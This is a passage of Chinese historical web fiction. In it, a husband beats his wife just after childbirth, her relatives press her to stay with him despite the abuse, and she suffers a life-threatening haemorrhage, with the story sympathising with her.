虎毒不食子,殷盈万没想到他竟狠心至此,慌忙扑向号哭的女儿,将她轻轻搂进怀里摇晃着安抚。 张承平一把揪住殷盈的头发,重重扇了她一耳光:“他娘的,我当初怎么没瞧出你这狐媚本性?专会勾引汉子,难怪你爹娘早死,怕是都被你克死的!” 他怒火攻心,一巴掌下去犹不解恨,竟伸手去抢殷盈怀里的孩子。 殷盈不放,反咬他一口,张承平吃痛,哪还管得了殷盈才生完孩子,拖着母女二人来到空地。 “老子今天非打死这个野种不可!” 拳头如雨点般落下,殷盈弓起身子将孩子死死护在身下,痛呼声与婴儿的啼哭混杂在一起。 接生婆早就被吓得魂飞天外,连滚带爬地逃出门去,大喊道:“杀人啦!快来人啊!” 恰在此时,郭大郎拉着不情愿的郭舅母前来探望,闻声心道不好,只见殷盈满脸青紫地倒在地上,身下洗得泛白的衣衫已被鲜血浸透,淌着大片艳红,触目惊心。 郭大郎一个箭步冲过去,奋力将几近癫狂的张承平拖开。 村里头好事的人都被这动静引了过来,挤在门外交头接耳。 “承平!你冷静些!有话好好说!”郭大郎死死拽住他。 张承平猛地将他甩开,怒道:“好好说?若你媳妇让你做了活王八,你还能好好说?!” 一旁正哄孩子的郭舅母脸都气绿了,刚要开口,却被殷盈轻轻拉住。 “我们和离。”殷盈转向张承平,声音不大,却让喧闹的屋子静了一瞬。 张承平简直不敢相信自己的耳朵:“你说什么?” “和离,”殷盈双腿仍在打颤,将怀中早已备好的和离书取出,扔了过去,“从今往后,你我再无瓜葛。” 张承平气红了眼,抬脚踩住和离书,狠狠碾烂:“休想!要离也是我休了你!你这毒妇!成婚两年无所出,累我受尽耻笑,还有脸提和离?!” “你口口声声说孩子不是你的,”殷盈指着女儿,声音发颤,“你仔细看看,这眉眼哪一处不像你张承平!” “你哪里是不信,你只是不愿信!你不愿意信你求神拜佛换来的是个女儿!不愿信你花尽钱财买来的汤药,到头一场空!更不信你张承平根本就没生儿子的命!” 她惨然一笑,泪如雨下:“我原以为经此种种,你总能有所悔悟,甚至对你赌博都睁一只眼闭一只眼,只盼孩子出世后你能收心……哈哈哈……我真是天下最蠢的傻人!” “若非你嗜赌欠债,我怎会落入杨府,外祖母又怎会惨死街头!” 她终于支撑不住,放声痛哭。 字字声如泣血,众人皆被震住。 张承平强撑着不低头,狡辩道:“你……你也不想想我是为了谁!若不是为了你,我何至于铤而走险!” “反正……反正我绝不同意和离!” “好,好!”殷盈气极反笑,转向众人,“今日诸位乡邻都在,那不妨做个见证,我殷盈与张承平,今日便——” “盈盈!别闹了!” 郭大郎一声低喝打断了她。在殷盈难以置信的目光中,他艰难道:“和离……此事万万不可……” “……舅舅?” “历来只有夫家休妻,哪有女子主动和离的道理?更何况你的……”郭大郎似是羞于齿口,憋了半天才道,“你的名声已然不好,若再行此惊世骇俗之举,这辈子要被人指着脊梁骨过日子啊!” “我名声不好?”殷盈眼中盛满惊愕,她咳嗽了几声,腹部的绞痛令她冷汗涔涔,“那些分明是莫须有的污蔑!张承平不信我便罢了,舅舅连你也不信我吗!” “他张承平今日都把我打成这样,难道非要等他打死我,你们才甘心吗!” “快别胡说!”郭舅母慌忙捂住她的嘴,压低声音,“男人下手重些,谁家不是这么过来的?你且忍这一时之气,服个软,日子照样过,你若真撕破脸,叫我们在村里如何抬头?” “你表弟阿明正在说亲,你这当姐姐,总不能断了他的前程!” 她朝熟睡的孩子努努嘴:“更何况孩子还这么小,难道你真要她做个没爹的野种,一辈子抬不起头吗?” 殷盈怔怔地看着眼前陌生的亲人,一句话也说不出来。 张承平见状冷哼一声:“你既执意如此,我便一纸休书,让你做个弃妇,自生自灭!” 说完转身欲走,郭大郎急忙拉住他,焦急地挠了挠光亮的脑门,向郭舅母使了个眼色。 郭舅母会意,抱着孩子上前,软声道:“盈盈你看,这娃娃生得多好,粉雕玉琢的……” “盈盈,万事好商量,不可意气用事啊……” “盈盈……” 几声急切的呼喊中,殷盈身子一晃,软软地倒了下去。 “哎哟!盈盈!孩子他娘晕过去啦!快来人啊!” 现场顿时乱作一团,张承平顾及脸面,到底是将人抱进了屋,郭大郎飞奔去请大夫,人们都踮起脚看怎么回事,被郭舅母拦住,恶声恶气地轰走。 请的人说是大夫,不过是个赤脚郎中,见此情形大吃一惊,却也只能死马当活马医,伸手为其搭脉。 在众人期盼的眼神中,他颤抖地拿开手收回手,连连摇头:“产后本就气血两虚,本该安心静养,可这……” 他飞快瞥了眼张承平,实在想不出委婉的说辞:“这伤口两度撕裂,加之产妇急怒攻心,引发血崩了,就算我施针止血,恐怕也……” “老夫无能为力,你们另请高明吧!”语罢,他佝偻着身子,提起药箱就要走。 “黄阿叔!!”郭大郎一把拉住他,苦苦哀求,“现在赶去镇里哪还来得及!您行行好,救救她吧!” 黄阿叔被缠得无法,只好先行为殷盈止血,催他们速去镇上请更好的大夫来。 待镇上的大夫赶到,殷盈已经气若游丝。大夫眉头紧锁,仔细诊治。 良久,他站起身,擦净手上的血,将屋里的人都唤到门外。 “失血太多,老夫只能勉强吊住她一口气。我开一副药方,速去抓药,一日三服。但能不能熬过来,全看她的造化。” 大夫叹息一声:“同时你们也要有个准备,即便撑过这一关,她已伤及根本,往后……怕是难以再孕育子嗣了。” “什么?!”张承平猛地揪住大夫的衣襟,“分明是你这庸医无能,好端端的人,怎么说不能生就不能生了!” “你、你做什么!放开老夫!” 眼看二人就要扭打起来,郭大郎上去阻拦,却已迟了一步,大夫被扯得衣衫不整,连胡子都掉了一半。 “咳……咳咳,老夫实话实说,怎么遇上你这么厚颜无耻之人!”大夫扶着树干干咳,朝郭大郎惊怒道:“你家这个我接不了了,诊金我收你五两银子,抓了我,还要给我五两,一共十连银子。” 郭大郎尴尬一笑,不知作何回答。一旁的郭舅母接过茬,对张承平道:“侄女婿,给钱啊!愣着干嘛?” 张承平瞪眼:“关我什么事?你们的侄女出了问题,让我老张家往后只能剩个没用的女儿,还想我赔钱?你们郭家倒应该给我钱!” 郭舅母不乐意了,冷哼道:“笑话!殷盈身上的伤不是被你打的?村里四邻八舍可都瞧得真真的!你还想抵赖?” 这下轮到张承平卡壳了,好半天才支吾道:“那她勾搭汉子,你们郭家也不管,让我吃这个哑巴亏?”